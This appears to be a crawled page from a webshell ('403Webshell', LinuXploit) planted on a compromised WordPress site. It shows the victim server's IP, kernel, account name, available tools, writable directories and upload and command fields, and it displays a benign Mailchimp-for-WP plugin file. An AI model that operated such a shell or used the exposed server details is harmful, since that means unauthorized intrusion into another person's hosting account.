403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.146
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/plugins/mailchimp-for-wp/integrations/wpforms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/plugins/mailchimp-for-wp/integrations/wpforms/class-wpforms.php
<?php

defined('ABSPATH') or exit;

/**
 * Class MC4WP_WPForms_Integration
 *
 * @ignore
 */
class MC4WP_WPForms_Integration extends MC4WP_Integration
{

    /**
     * @var string
     */
    public $name = "WPForms";

    /**
     * @var string
     */
    public $description = "Subscribe visitors from your WPForms forms.";


    /**
     * Add hooks
     */
    public function add_hooks()
    {
        add_action('wpforms_process', array( $this, 'listen_to_wpforms' ), 20, 3);
    }

    /**
     * @return bool
     */
    public function is_installed()
    {
        return defined('WPFORMS_VERSION');
    }

    /**
     * @since 3.0
     * @return array
     */
    public function get_ui_elements()
    {
        return array();
    }

    public function listen_to_wpforms($fields, $entry, $form_data)
    {
        foreach ($fields as $field_id => $field) {
            if ($field['type'] === 'mailchimp' && $field['value_raw'] == 1) {
                return $this->subscribe_from_wpforms($field_id, $fields, $form_data);
            }
        }
    }

    public function subscribe_from_wpforms($checkbox_field_id, $fields, $form_data)
    {
        foreach ($fields as $field) {
            if ($field['type'] === 'email') {
                $email_address = $field['value'];
            }
        }

        $mailchimp_list_id = $form_data['fields'][$checkbox_field_id]['mailchimp_list'];
        $this->options['lists'] = array( $mailchimp_list_id );

        if (! empty($email_address)) {
            return $this->subscribe(array( 'EMAIL' => $email_address ), $form_data['id']);
        }
    }

    /**
     * @param int $form_id
     * @return string
     */
    public function get_object_link($form_id)
    {
        return '<a href="' . admin_url(sprintf('admin.php?page=wpforms-builder&view=fields&form_id=%d', $form_id)) . '">WPForms</a>';
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit